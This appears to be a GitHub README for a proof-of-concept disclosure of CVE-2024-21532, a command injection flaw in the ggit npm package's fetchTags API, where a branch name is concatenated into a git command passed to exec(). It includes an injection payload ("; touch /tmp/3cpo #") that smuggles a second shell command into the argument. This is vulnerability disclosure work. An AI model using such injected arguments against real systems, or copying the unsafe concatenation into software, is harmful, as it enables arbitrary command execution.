lirantal/cve-2024-21532-poc-ggitProof-of-concept exploit for CVE-2024-21532, a command injection vulnerability in the ggit npm package's fetchTags API, demonstrating unsafe exec() usage.
ggit describes itself as:
Local promise-returning git command wrappers
Resources:
Article write-up on this vulnerability: https://nodejs-security.com/blog/flawed-git-promises-library-on-npm-leads-to-command-injection-vulnerability
I'm reporting a Command Injection vulnerability in ggit npm package.
This vulnerability manifests with the library's fetchTags(branch) API,
which allows user input to specify the branch to be fetched and then concatenates
this string along with a git command which is then passed to the unsafe exec()
Node.js child process API.
[email protected] or earlierconst fetchTags = require("ggit").fetchTags;
fetchTags("; touch /tmp/3cpo #").then(function () {
// should be same as running command
// git pull origin --tags
console.log("done");
});
/tmp/3cpoPlease consult CONTRIBUTING for guidelines on contributing to this project.
Liran Tal